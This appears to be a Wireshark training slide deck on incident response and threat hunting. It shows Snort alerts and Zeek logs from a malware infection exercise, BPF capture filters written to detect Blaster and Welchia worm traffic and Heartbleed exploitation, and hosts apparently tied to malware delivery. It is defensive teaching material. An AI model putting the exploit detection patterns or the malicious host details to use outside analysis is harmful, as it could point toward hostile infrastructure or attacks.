



Discover / Develop / Deliver

Wireshark for IR & Threat Hunting

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About Me:



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RICHEY MAY TECHNOLOGY SOLUTIONS

Additional

- GPEN
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- Security +
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Certifications

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About Richey May Technology Solutions

Richey May Technology Solutions is a results-driven consulting firm offering the full spectrum of technology solutions for your business. Led by technology experts with decades of cumulative experience in executive IT roles, our team is able to bring you pragmatic, real-world solutions that deliver value to your business.

Cybersecurity

Cloud Services

Governance,
Risk, Compliance
& Privacy

Technology
Management
Consulting

Marketing
Technology

Content Security



Disclaimer

California's wiretapping law is "two-party consent". California makes it a crime to record or eavesdrop on any confidential communication, including a private conversation or telephone call, without the consent of all parties to the conversation. See Cal. Penal Code § 632. The statute applies to "confidential communications" -- i.e., conversations in which one of the parties has an objectively reasonable expectation that no one is listening in or overhearing the conversation.

Using Wireshark or any packet capture tools without "two-party consent" may be considered illegal according to Federal and State laws. Contact an attorney for more information.

I am not an attorney, I just pretend to be one. Know the laws.

Disclaimer


- Wireshark may be subject to U.S. export regulations.
- Consult a lawyer with questions.
- All the information provided in this course is for educational purposes only. Corporate Blue, Michael Wylie, and ISSA is no way responsible for any misuse of the information.
- PCAPs contain malware binaries. Use at your own risk.
- You are responsible for your actions and your computer.

What is a Breach?

- Violation of your information
- Imagine a criminal came into your house, found your file cabinet and walked out the door with copies
- We give companies our data and trust they will protect it
- NOTE: California requires reporting of 500 or more unencrypted records

Biggest **DATA BREACHES** of the 21st century

Accounts Compromised
by the millions by the billions




More Legal Stuff

- NSA wire tapped the U.S. in a program called PRISM
- Edward Snowden released proof of PRISM and other data collected by the NSA
- Federal intelligence agencies may wiretap with a secret court order under the Foreign Intelligence Surveillance Act (FISA)
- FISA court has rejected 21 requests to surveil people in the U.S. from 1978-2016
- 1,614 requests received in 2017

What's a Protocol Analyzer?

- Hardware or software
- Captures and analyzes signals/data traffic on a network
- Puts the NIC into promiscuous mode
- Sniffs/collects 1s and 0s on the network
- Popular Protocol Analyzers
 - Wireshark
 - TCPDump
 - OptiView
 - tShark



What's Incident Response (IR)?

- Addressing & managing post cybersecurity cases
 - Prepare for potential cybersecurity events
 - Identify an incident
 - Contain the threat
 - Eradicate the threat
 - Recovery business operations
 - Lessons learned
- Example: Customer passwords were stolen and posted on Wikileaks. How did it happen? Who did it?

What's Threat Hunting?

- “...the process of proactively and iteratively searching through networks to detect and isolate advanced threats that evade existing security solutions.” – Sqrrl (2016)
- 100% of threats cannot be prevented
- Assumes the organization is already compromised
- Proactive searching for threats on the network
- Threats may have evaded security solutions

Questions to Ask in Malware IR

- Is the content/file malicious?
- Who does the malware contact and why?
- How does the malware modify the system?
- How can the malware be detected or removed?
- Is there a vaccine that can be applied?

Packet analysis is an important skill for cybersecurity professionals, as today's threats may have slipped by your defenses and found a home on your network.

Scenarios & Use Cases

- IDS/IPS alerts (e.g. Snort)
- NSM tool (e.g. Security Onion)
- Threat Hunting
- Bro/Zeek

Snort Alert (2017-03-25)

```
03/21-15:49:25.123933 [**] [1:2014520:2] ET INFO EXE - Served Attached HTTP [**] [Classification: Misc activity] [Priority: 3] {TCP} 50.63.125.1:80 -> 192.168.22.94:49161
03/21-15:49:25.123933 [**] [1:2018959:4] ET POLICY PE EXE or DLL Windows file download HTTP [**] [Classification: Potential Corporate Privacy Violation] [Priority: 1] {TCP} 50.63.125.1:80 -> 192.168.22.94:49161
03/21-15:49:25.474616 [**] [1:2014520:2] ET INFO EXE - Served Attached HTTP [**] [Classification: Misc activity] [Priority: 3] {TCP} 50.63.125.1:80 -> 192.168.22.94:49161
03/21-15:49:25.612796 [**] [1:2014520:2] ET INFO EXE - Served Attached HTTP [**] [Classification: Misc activity] [Priority: 3] {TCP} 50.63.125.1:80 -> 192.168.22.94:49161
03/21-15:49:26.025997 [**] [1:23605:11] FILE-IDENTIFY Armadillo v1.xx - v2.xx file magic detected [**] [Classification: Misc activity] [Priority: 3] {TCP} 50.63.125.1:80 -> 192.168.22.94:49161
03/21-15:50:18.881111 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:49232 -> 52.50.59.31:80
03/21-15:52:20.337060 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:49491 -> 52.50.59.31:80
03/21-15:52:37.309843 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:49528 -> 77.225.141.195:80
03/21-15:54:21.091563 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:49757 -> 52.50.59.31:80
03/21-15:54:37.747906 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:49791 -> 77.225.141.195:80
03/21-15:56:21.846348 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:50024 -> 52.50.59.31:80
03/21-15:56:22.579086 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:50027 -> 14.152.86.33:80
03/21-15:56:38.202144 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:50062 -> 77.225.141.195:80
03/21-15:58:22.758432 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:50290 -> 52.50.59.31:80
```

ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1

Hunting with Bro/Zeek

```
user@vm-ubuntu18 ~$ bro -r 2017-03-25-traffic-analysis-exercise.pcap
```

```
$ ls *.log
conn.log  dhcp.log  dns.log  files.log  http.log  packet_filter.log  pe.log  ssl
.log  weird.log  x509.log
```

```
$ cat files.log | bro-cut [field1 field2]
```

a.png	FgHDZh4sq2C7HSsqC1	50.63.125.1	192.168.22.94	HTTP	application/x-dosexec	-
853.png	FDVrin3KlG0yami4K4	50.63.125.1	192.168.22.94	HTTP	application/x-dosexec	-
0c1d552cb1d4cb.png	F7qKKg3LLt55Ylg5kj	50.63.125.1	192.168.22.94	HTTP	application/x-dosexec	-
install_flash_player_24_active_x.exe	F4A7mV1b4D8WhXZZ8	23.3.88.8	192.168.22.94	HTTP	text/html	



Tap Into The Network

Hubs, Switches, Routers oh my

- Hub (Layer 1)
 - Packets received go out every interface
 - One large collision domain
 - Broadcast domain unaware
- Switch (Layer 2)
 - CAM table determines where to send packets
 - Each interface is it's own collision domain




Hubs, Switches, Routers oh my

- Wireless Access Point (WAP) (Layer 2)
 - One large collision domain
 - Uses CSMA/CA to avoid collisions on the network
- Router (Layer 3)
 - Connects networks together (e.g. Internet to your home network)
 - Routes traffic between networks like a traffic cop




Capture Methods

- Hub / WAP (passive):
 - 1. Put NIC in promiscuous mode
 - 2. Start Wireshark capture
- Switch / Router (active):
 - ARP Poisoning
 - In-line network tap
 - SPAN / Mirror port
 - Firewall capture



Cisco SPAN



Enter Global Configuration Mode



C2960# configure terminal

Define the SOURCE interface(s)


C2960(config)# monitor session 1 source interface fastethernet 0/5

Define the DESTINATION interface


C2960(config)# monitor session 1 destination interface fastethernet 0/3




Cop



How to Capture Traffic



How to Capture Traffic



Type of Data to Collect

- NetFlow • Session data = 5-tuple (src ip, dst ip, src port, dst port, and protocol)
- Syslog • Transaction data = DHCP, DNS, Web, and Mail server logs
- Snort Alert • Alert data = produced by an IDS/IPS triggered by a matched rule
- Utilization • Statistical data = aggregation of data: frequency, averages, flow, etc.
- Wireshark • Full packet capture = record all network traffic
 - HTTP requests
 - HTTP responses
 - TCP handshake
 - UDP data

Full Packet Capture Considerations

- Wireshark Defaults:
 - Saves packets to a temp file
 - Keep running until it crashes
 - Capture all types of traffic
 - Tries to determine the type of packet & apply colors/rules
- Ring buffer can avoid filling up a hard drive
 - When maximum number of files are saved, oldest is deleted
- Wireshark, TCPdump, etc. captures full packets

Ingest Consideration

June 4, 2018 to June 10, 2018 - 4 Employee Medical Office

	Time	Connections	Transferred
1	Jun 4, 2018	78,028	6.38 GB
2	Jun 5, 2018	67,038	10.95 GB
3	Jun 6, 2018	84,800	3.64 GB
4	Jun 7, 2018	60,868	16.82 GB
5	Jun 8, 2018	62,217	3.78 GB
6	Jun 9, 2018	35,691	2.13 GB
7	Jun 10, 2018	36,207	2.83 GB
Total:		424,849	46.53 GB

	Initiator IP	Initiator Host	Initiator MAC	User	Connections	Transferred
1	[REDACTED].220	[REDACTED]	[REDACTED]	[REDACTED]	1,851	17.61 GB
2	[REDACTED].220	[REDACTED]	[REDACTED]	[REDACTED]	4,078	10.98 GB
3	[REDACTED].95	[REDACTED]	[REDACTED]	[REDACTED]	5,208	8.54 GB
4	[REDACTED].95	[REDACTED]	[REDACTED]	[REDACTED]	12,375	7.1 GB
5	[REDACTED].224	[REDACTED]	[REDACTED]	[REDACTED]	75,219	6.41 GB
6	[REDACTED].184	[REDACTED]	[REDACTED]	[REDACTED]	93,614	4.56 GB
7	[REDACTED].173	[REDACTED]	[REDACTED]	[REDACTED]	3,539	2.22 GB
8	[REDACTED].99	[REDACTED]	[REDACTED]	[REDACTED]	341	1.51 GB
9	[REDACTED].99	[REDACTED]	[REDACTED]	[REDACTED]	1,134	1.39 GB
10	[REDACTED].170	[REDACTED]	[REDACTED]	[REDACTED]	43,113	1.33 GB
11	[REDACTED].197	[REDACTED]	[REDACTED]	[REDACTED]	14,505	1.32 GB
12	[REDACTED].109	[REDACTED]	[REDACTED]	[REDACTED]	26,125	705.93 MB
13	[REDACTED].167	[REDACTED]	[REDACTED]	[REDACTED]	19,077	648.57 MB
14	[REDACTED].90	[REDACTED]	[REDACTED]	[REDACTED]	6,719	611.99 MB
15	[REDACTED].95	[REDACTED]	[REDACTED]	[REDACTED]	33,614	522.75 MB
16	[REDACTED].224	[REDACTED]	[REDACTED]	[REDACTED]	14,185	508.07 MB
17	[REDACTED].99	[REDACTED]	[REDACTED]	[REDACTED]	181	487.84 MB

4 / 21

Powered By SONICWALL


	Initiator IP	Initiator Host	Initiator MAC	User	Connections	Transferred
18	[REDACTED].216	[REDACTED]	[REDACTED]	[REDACTED]	5,428	471.98 MB
19	[REDACTED].173	[REDACTED]	[REDACTED]	[REDACTED]	1,472	445.81 MB
20	[REDACTED].197	[REDACTED]	[REDACTED]	[REDACTED]	9,702	445.21 MB
Total:					371,480	67.71 GB



Wireshark: Capture Options


Capture Options

- Menu > Capture > Options...
 - Input
 - 1. Select Interface(s)
 - 2. Enable promiscuous mode
 - 3. Set capture filters
 - (different syntax)





Capture Options

- Menu > Capture > Options...
 - Output
 - 1. Save capture as
 - 2. Split capture file
 - 3. Use ring buffer



Capture Options

- Menu > Capture > Options...
 - Output
 - 1. MAC Lookup
 - 2. DNS Lookup
 - 3. Protocol lookup
 - 4. Auto stop capture



Wireshark Capture Filters

- host xxx.xxx.xxx.xxx
- net xxx.xxx.xxx.xxx/xx
- port xx
- tcp port xx
- Berkeley Packet Filter (BPF) syntax
- Display filters use a logic syntax
- Capture filters = best place to limit data being processed
- not arp
- dst host xxx.xxx.xxx.xxx
- ip
- tcp portrange xx-xx

Malware Capture Filters

Blasater Worm:

- dst port 135 and tcp port 135 and ip[2:2]==48

Welchia Worm:

- icmp[icmptype]==icmp-echo and ip[2:2]==92 and icmp[8:4]==0xAAAAAAA

Looking for worms calling C2s:

- dst port 135 or dst port 445 or dst port 1433 and tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) = 0 and src net 192.168.0.0/24

Heartbleed Exploit:

- tcp src port 443 and (tcp[((tcp[12] & 0xF0) >> 4) * 4] == 0x18) and (tcp[((tcp[12] & 0xF0) >> 4) * 4 + 1] == 0x03) and (tcp[((tcp[12] & 0xF0) >> 4) * 4 + 2] < 0x04) and ((ip[2:2] - 4 * (ip[0] & 0x0F) - 4 * ((tcp[12] & 0xF0) >> 4) > 69))



Wireshark: Basics

About Wireshark

- 1997 Gerald Combs needed a tool for troubleshooting
- Ethereal was released July 1998
- 2006 the project got renamed to Wireshark
- 1.0 was released in 2008 / 2.0 was released in 2015
- SharkFest is the annual conference in San Jose, CA
- License: GPLv2
- Certifications: WCNA


Protocol Dissection

- Dissector parses the raw bits
- Applies dissectors based on type of data
- Makes it human readable
- Sometimes the wrong dissector is applied
- Issue: Custom/manipulated packets
- HTTP isn't always on tcp.80

61	88	05	81	16	00	00	00	61	88	05	81	16
c8	40	02	01	00	01	00	c8	40	02	01	00	
07	08	09	0a	0b	0c	0d	07	08	09	0a	0b	
17	18	19	1a	1b	1c	1d	17	18	19	1a	1b	
27	28	29	2a	2b	2c	2d	27	28	29	2a	2b	
37	38	39	3a	3b	3c	3d	37	38	39	3a	3b	
47	48	49	4a	4b	4c		47	48	49	4a	4b	




Raw Data



Protocol Dissection

IEEE 802.15.4 Data, Dst: 0x0000, Src: 0x0001
Frame Control Field: Data (0x8861)
Sequence Number: 5
Destination PAN: 0x1681
Destination: 0x0000
Source: 0x0001
[Extended Source: 00:00:00_00:00:00:00:01
[Origin: 41]
ZigBee Network Layer Data, Dst: 0x0000, Src: 0x0001
Frame Control Field: Data (0x0048)
Destination: 0x0000
Source: 0x0001
Radius: 30
Sequence Number: 200
[Extended Source: 00:00:00_00:00:00:00:
[Origin: 41]
Zigbee Application Support Layer Data
Data (77 bytes)

Navigation



Navigation



Open Capture File



Save this Capture File



Close this Capture File



Reload this Capture File

Navigation



Find a packet



Go to packet number _____



Go to previous / next packet



Go to first / last packet

Navigation



Toggle on/off real-time view



Toggle on/off color rules



Enlarge / Shrink text



Resize text



Fit text within columns



No.	Time	Source	Destination	Protocol	Length Info
1	0.000000	52.42.20.106	192.168.1.141	TCP	54 443 → 3239 [ACK] Seq=1 Ack=1 Win=28458 Len=0
2	0.067028	4c:11:bf:53:10:..	ff:ff:ff:ff:ff:ff..	ARP	60 Who has 192.168.1.1? Tell 192.168.1.90
3	0.336679	64.78.27.65	192.168.1.141	TCP	54 443 → 3237 [ACK] Seq=1 Ack=1 Win=508 Len=0
4	0.354504	64.78.27.65	192.168.1.141	TLSv1.2	395 Application Data
5	0.539057	207.233.126.12	192.168.1.141	TLSv1.2	139 Application Data
6	1.949170	00:11:32:1f:70:..	ff:ff:ff:ff:ff:ff..	ARP	60 Who has 192.168.1.7? Tell 192.168.1.99
7	2.330614	64.78.27.65	192.168.1.141	TLSv1.2	395 Application Data
8	2.423993	23.215.100.145	192.168.1.141	TCP	66 443 → 3227 [ACK] Seq=1 Ack=1 Win=249 Len=0 SLE=0 SRE=1
9	2.428207	64.78.27.65	192.168.1.141	TLSv1.2	795 Application Data
10	2.555478	64.78.27.65	192.168.1.141	TCP	54 443 → 3240 [ACK] Seq=1083 Ack=1611 Win=512 Len=0
11	2.582748	64.78.27.65	192.168.1.141	TLSv1.2	395 Application Data
12	2.664550	64.78.27.65	192.168.1.141	TLSv1.2	795 Application Data
13	2.742336	64.78.27.65	192.168.1.141	TLSv1.2	395 Application Data
14	2.842622	64.78.27.65	192.168.1.141	TLSv1.2	795 Application Data

Packet List

```
> Frame 1: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 0
> Ethernet II, Src: 00:17:c5:78:35:dc, Dst: 00:28:f8:d2:11:80
> Internet Protocol Version 4, Src: 52.42.20.106, Dst: 192.168.1.141
> Transmission Control Protocol, Src Port: 443, Dst Port: 3239, Seq: 1, Ack: 1, Len: 0
```



Details Pane

```
0000  00 28 f8 d2 11 80 00 17 c5 78 35 dc 08 00 45 00  .(..... .x5...E.
0010  00 28 c4 de 40 00 f3 06 b8 27 34 2a 14 6a c0 a8  .(...@... .'4*.j..
0020  01 8d 01 bb 0c a7 4c c2 9f d9 38 6e be af 50 10  .....L. ..8n..P.
0030  6f 2a 43 c5 00 00  o*C...
```

Packet Bytes

Save PCAP As...

- Saves all data in Wireshark
- Multiple formats
- Default = pcapng (PCAP NextGen)
- File > Save As...



Export


- Saves data selected or after a filter is applied
- Filter out noise
- Smaller outputs
- Relevant data can be saved
- File > Export Specified Packets...
- Ability to export to Excel for advanced calculations

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

tcp.port==80


No.	Time	Source	Destination	Protocol
122	11.479482	8.20.73.150	192.168.1.141	TCP
123	*Wi-Fi		192.168.1.141	TCP
124	*Wi-Fi		192.168.1.141	HTTP
128	Open	Ctrl+O	192.168.1.141	TCP
129	Open Recent		192.168.1.141	TCP
130	Merge...		192.168.1.141	HTTP

File Edit View Go Capture Analyze Sta...
Open Ctrl+O
Open Recent
Merge...
Import from Hex Dump...
Close Ctrl+W
Save Ctrl+S
Save As... Ctrl+Shift+S
File Set
Export Specified Packets... **Export Specified Packets...**
Export Packet Dissections
Export Packet Bytes... Ctrl+H
Export PDUs to File...
Export SSL Session Keys...
Export Objects
Print... Ctrl+P
Quit Ctrl+Q




Print


- File > Print
- Print data for IR report
- Captured data OR
Displayed data
- Save as PDF




Export Objects

- **WARNING: Could extract malware binaries**
- Extract objects from capture
- Note: name/extension type may need to be changed post extract
- Re-create objects such as pictures or web pages
- File > Export Objects > [http]





Coloring Rules



The image shows two Wireshark windows demonstrating how coloring rules are applied to network traffic. The top window displays a list of captured frames, and the bottom window shows the expanded details for frame 11.

Top Window (List View):

- Frame 9: TLSv1.2 Application Data (purple row).
- Frame 10: ARP Who-has request (orange row).
- Frame 11: ARP Who-has request (orange row, highlighted with a red box).
- Frame 12: ARP Who-has request (orange row).
- Frame 13: TCP SYN (green row).
- Frame 14: TCP ACK (green row).
- Frame 15: DNS Standard query (blue row).
- Frame 16: DNS Standard query (blue row).
- Frame 17: TCP SYN (green row).
- Frame 18: TCP ACK (green row).
- Frame 19: TCP ACK (green row).
- Frame 20: TCP ACK (green row).
- Frame 21: HTTP/1.1 200 OK (grey row).



Bottom Window (Details View for Frame 11):


No.	Time	Source	Destination	Protocol	Length	Info
11	1.695640	78:45:c4:19:cb...	ff:ff:ff:ff:ff...	ARP	60	Who has 192.168.1.141
12	1.926022	4c:11:bf:53:10...	ff:ff:ff:ff:ff...	ARP	60	Who has 192.168.1.141
13	2.601225	72.167.191.69	192.168.1.141	TCP	66	80 → 19419 [SYN]
14	2.622059	72.167.191.69	192.168.1.141	TCP	54	80 → 19419 [ACK]
15	2.634148	8.8.8.8	192.168.1.141	DNS	142	Standard query re...
16	2.640293	4.2.2.2	192.168.1.141	DNS	142	Standard query re...
17	2.648488	72.167.191.69	192.168.1.141	TCP	14...	80 → 19419 [ACK]
18	2.648536	72.167.191.69	192.168.1.141	TCP	14...	80 → 19419 [ACK]
19	2.653689	72.167.191.69	192.168.1.141	TCP	14...	80 → 19419 [ACK]
20	2.653732	72.167.191.69	192.168.1.141	TCP	14...	80 → 19419 [ACK]
21	2.661668	72.167.191.69	192.168.1.141	HTTP	14...	HTTP/1.1 200 OK

Red arrows point from the highlighted rows in the list view to their corresponding expanded details in the bottom window, illustrating how each frame's protocol and content are identified by the defined coloring rules.

Modifying Color Rules

- Colorizes rules based on a preset list
- Custom colors/rules can be created





*Wi-Fi

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Apply a display filter ... <Ctrl-/>

No.	Time	Source	Destination	Protocol	Length Info
4	1.318435	4c:11:bf:53:10...	ff:ff:ff:ff:ff:ff...	ARP	60 Who has 192.16...
5	1.624614	52.89.46.250	192.168.1.141	TCP	54 443 → 9516 [AC...
6	1.625642	52.89.46.250	192.168.1.141	TLSv1.2	117 Application Da...
7	1.970415	64.78.27.65	192.168.1.141	TCP	54 443 → 19647 [P...
8	2.319958	4c:11:bf:53:10...	ff:ff:ff:ff:ff:ff...	ARP	60 Who has 192.16...
9	2.433561	207.233.126.12	192.168.1.141	TCP	54 443 → 19648 [P...
10	2.790598	23.5.9.31	192.168.1.141	TLSv1.2	11... Application Da...
11	2.819051	23.5.9.31	192.168.1.141	TLSv1.2	11... Application Da...
12	2.819195	23.5.9.31	192.168.1.141	TLSv1.2	14... Application Da...
13	2.819215	23.5.9.31	192.168.1.141	TLSv1.2	724 Application Da...
14	2.819270	23.5.9.31	192.168.1.141	TLSv1.2	14... Application Da...

Wireless Tools Help Expression... +

No. Protocol Length Info

1:ff:ff:ff... ARP 60 Who has 192.16...

68.1.141 TCP 54 443 → 9516 [AC...

68.1.141 TLSv1.2 117 Application Da...

68.1.141 TCP 54 443 → 19647 [P...

60 Who has 192.16...

54 443 → 19648 [P...

11... Application Da...

11... Application Da...

14... Application Da...

Color 1

Color 2

Color 3

Color 4

Color 5

Color 6

Color 7

Color 8

Color 9

Color 10

New Coloring Rule...

Frame

Ethernet

Address Resolution Protocol (request)

Hardware type: Ethernet (1)

Protocol type: IPv4 (0x0800)

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Apply a display filter ... <Ctrl-/>

No.	Time	Source	Destination	Protocol	Length Info
4	1.318435	4c:11:bf:53:10...	ff:ff:ff:ff:ff:ff...	ARP	60 Who has 192.16...
5	1.624614	52.89.46.250	192.168.1.141	TCP	54 443 → 9516 [AC...
6	1.625642	52.89.46.250	192.168.1.141	TLSv1.2	117 Application Da...
7	1.970415	64.78.27.65	192.168.1.141	TCP	54 443 → 19647 [P...
8	2.319958	4c:11:bf:53:10...	ff:ff:ff:ff:ff:ff...	ARP	60 Who has 192.16...
9	2.433561	207.233.126.12	192.168.1.141	TCP	54 443 → 19648 [P...
10	2.790598	23.5.9.31	192.168.1.141	TLSv1.2	11... Application Da...
11	2.819051	23.5.9.31	192.168.1.141	TLSv1.2	11... Application Da...
12	2.819195	23.5.9.31	192.168.1.141	TLSv1.2	14... Application Da...
13	2.819215	23.5.9.31	192.168.1.141	TLSv1.2	724 Application Da...
14	2.819270	23.5.9.31	192.168.1.141	TLSv1.2	14... Application Da...




Wireshark: Tips & Tricks

Profile

- Profiles contain customization of Wireshark
 - Coloring rules
 - Columns
 - Unique interesting fields
- Profiles used for different protocols or uses
 - SMB traffic
 - Malware analysis
 - HTTP/ HTTPS monitoring

Setup New Profile



Default Columns

No.	Time	Source	Destination	Protocol	Length	Info
-----	------	--------	-------------	----------	--------	------

- Packet Number
- Time Stamp
- Source IP
- Destination IP
- Protocol
- Packet Length
- Information

The screenshot shows the Wireshark application interface. On the left, the main window displays a packet list with several entries. At the top, the menu bar includes File, Edit, View, Go, Capture, Analyze, Statistics, Tools, and Help. The 'Edit' menu is highlighted with a red box. Below the menu bar is a toolbar with icons for Copy, Find Packet..., Find Next, Find Previous, Mark/Unmark Packet, Mark All Displayed, Unmark All Displayed, Next Mark, Previous Mark, Ignore/Unignore Packet, Ignore All Displayed, Unignore All Displayed, Set/Unset Time Reference, Unset All Time References, Next Time Reference, Previous Time Reference, Time Shift..., Packet Comment..., Delete All Packet Comments, Configuration Profiles..., and Preferences... (which is also highlighted with a red box). A red arrow points from the 'Edit' menu in the main window to the 'Columns' section in the Preferences dialog.

Wireshark · Preferences



Appearance

- Columns (highlighted with a red box)
- Font and Colors
- Layout
- Capture
- Filter
- Filter Buttons
- Name Resolution
- Protocols
- Statistics
- Advanced

Displayed	Title	Type	Fields	Field Occurrence
<input checked="" type="checkbox"/>	No.	Number		
<input checked="" type="checkbox"/>	Time	Time (format as specified)		
<input checked="" type="checkbox"/>	Source	Source address		
<input checked="" type="checkbox"/>	Destination	Destination address		
<input checked="" type="checkbox"/>	Protocol	Protocol		
<input checked="" type="checkbox"/>	Length	Packet length (bytes)		
<input checked="" type="checkbox"/>	Info	Information		

Buttons:

Creating New Columns



No.	Time	Source	Destination	Protocol	SrcPort	Info
146	65.395540	192.168.22.94	50.63.125.1	TCP	49161	49161 → 80
147	65.445422	50.63.125.1	192.168.22.94	TCP	80	80 → 49161
148	65.445593	192.168.22.94	50.63.125.1	TCP	49161	49161 → 80

Follow Along: Columns to Add/Remove

- **Remove**
 - Length (now)
- **Add**
 - Source Port (now)
 - Destination Port (now)
 - HTTP Host (later)
 - HTTPS Server (later)
 - GeoIP Country (later)

Time

- UTC time for report
- View
 - Time Display Format
 - UTC Date/Time
 - Seconds

The screenshot shows the Wireshark application interface. The 'View' menu is open, revealing various options like 'Main Toolbar', 'Filter Toolbar', and 'Time Display Format'. A red box highlights the 'View' menu item, and another red box highlights the 'Time Display Format' option in the submenu. To the right of the menu, a packet list table is visible, showing network traffic details. Below the table, the 'Time Display Format' submenu is expanded, listing options such as 'Date and Time of Day', 'Seconds Since 1970-01-01', and 'Automatic (from capture file)'. Under 'Automatic', 'Seconds' is selected and highlighted with a red box, with a red arrow pointing to it from the left.

Destination	Protocol	SrcPort	DstPort	Host
176.119.28.108	TCP	49181	80	
176.119.28.108	TCP	49182	80	
10.6.28.101	TCP	80	49182	
176.119.28.108	TCP	49182	80	
176.119.28.108	HTTP	49182	80	176.119.28.
10.6.28.101	TCP	80	49182	
10.6.28.101	TCP	80	49181	
176.119.28.108	TCP	49181	80	

Date and Time of Day (1970-01-01 01:02:03.123456) Ctrl+Alt+1
 Year, Day of Year, and Time of Day (1970/001 01:02:03.123456)
 Time of Day (01:02:03.123456) Ctrl+Alt+2
 Seconds Since 1970-01-01 Ctrl+Alt+3
 Seconds Since Beginning of Capture Ctrl+Alt+4
 Seconds Since Previous Captured Packet Ctrl+Alt+5
 Seconds Since Previous Displayed Packet Ctrl+Alt+6
 • UTC Date and Time of Day (1970-01-01 01:02:03.123456) Ctrl+Alt+7
 UTC Year, Day of Year, and Time of Day (1970/001 01:02:03.123456)
 UTC Time of Day (01:02:03.123456) Ctrl+Alt+8
 • Automatic (from capture file)
 Seconds Tenth of a second
 Hundredths of a second
 Milliseconds
 Microseconds
 Nanoseconds
 Display Seconds With Hours and Minutes

Column Alignment

Protocol	SrcPort	DstPort	Info
DHCP	68	67	DHCP
DHCP	67	68	DHCP
DHCP	68	67	DHCP
DHCP	67	68	DHCP
Left	Right	Right	Left


Protocol	SrcPort	DstPort	Info
DHCP	68	67	DHCP
DHCP	67	68	DHCP
DHCP	68	67	DHCP
DHCP	67	68	DHCP
LLMNR	4975	---	---

Align Left ←
Align Center
Align Right
Column Preferences...

Protocol	SrcPort	DstPort	Info
DHCP	68	67	DHCP
DHCP	67	68	DHCP
DHCP	68	67	DHCP
DHCP	67	68	DHCP

Host Column

- Details Pane
 - Right click on field
 - Apply as Column



No.	Time	Source	Destination	Protocol	SrcPort	DstPort	Host	Info
66	10.701587	192.168.22.94	23.215.98.249	HTTP	49157	80	www.msftncsi.com	GET /ncsi.txt HTTP/1.1
96	62.831266	192.168.22.94	50.62.238.1	HTTP	49158	80	bv.truecompassdesigns.net	GET /counter/?0000001MKc
104	63.078127	192.168.22.94	184.168.187.1	HTTP	49159	80	grandrapidsnonprofits.com	GET /counter/?0000001MKc
115	64.742775	192.168.22.94	97.74.144.145	HTTP	49160	80	suburban-sanitation.com	GET /counter/?0000001MKc
149	65.445818	192.168.22.94	50.63.125.1	HTTP	49161	80	nailcountryandtan.com	GET /counter/?0000001MKc

HTTPS Column

- Details Pane
 - Right click on field
 - Apply as Column

ssl.handshake

No.	Time	Src.IP	Src.Port	Dst.IP	Dst.Port	Info
21...	2017-03-21 15:50:19	192.168.22.94	49233	52.17.6.200	443	Client Hello
21...	2017-03-21 15:50:19	52.17.6.200	443	192.168.22.94	49233	Server Hello

Content Type: Handshake (22)
 Version: TLS 1.2 (0x0303)
 Length: 157

Handshake Protocol: Client Hello

Handshake Type: Client Hello (1)
 Length: 153
 Version: TLS 1.2 (0x0303)

Random: 58d14bbc6ec8a4812bb971c01b5a589c66e1fceafa67bb5c...

Session ID Length: 0
 Cipher Suites Length: 42
 Cipher Suites (21 suites)
 Compression Methods Length: 1
 Compression Methods (1 method)
 Extensions Length: 70

Extension: renegotiation_info (len=1)

Extension: server_name (len=25)

Type: server_name (0)
 Length: 25

Server Name Indication extension

Server Name list length: 23
 Server Name Type: host_name (0)
 Server Name length: 20
 Server Name: www.street-crime.com

Right Click > Apply as Column → Server Name: www.street-crime.com ←

Src.IP	Src.Port	Dst.IP	Dst.Port	Server Name	Info
192.168.22.94	49233	52.17.6.200	443	www.street-crime.com	Client Hello

Export/Share Profiles

The screenshot shows the 'About Wireshark' dialog box and a file explorer window.

About Wireshark Dialog:

- Help** menu is selected.
- Folders** tab is highlighted with a red box.
- Personal configuration** entry is selected and highlighted with a red box. Its location is listed as `C:\Users\[REDACTED]\AppData\Roaming\Wireshark`.
- File Explorer View:**

 - Shows a list of files and folders under the path `C:\Users\[REDACTED]\AppData\Roaming\Wireshark`.
 - Checked Items:** `profiles` (highlighted with a red box) and `language`.
 - New Item:** `Demo-R-Hunting` (highlighted with a red arrow).

GeoIP in Wireshark

- Wireshark does not come with GeoIP database by default 
- Paid and Free (GeoLite2) versions
- Restart Wireshark after adding the GeoIP directories

Downloads

Database	MaxMind DB binary, gzipped
GeoLite2 City	Download (md5 checksum)
GeoLite2 Country	Download (md5 checksum)
GeoLite2 ASN (Autonomous System Number)	Download (md5 checksum)

GeoIP Setup

- Extract GeoLite2 archive folders to
 - C:\Windows\ProgramData\GeoIP
- Preferences
- Name Resolution
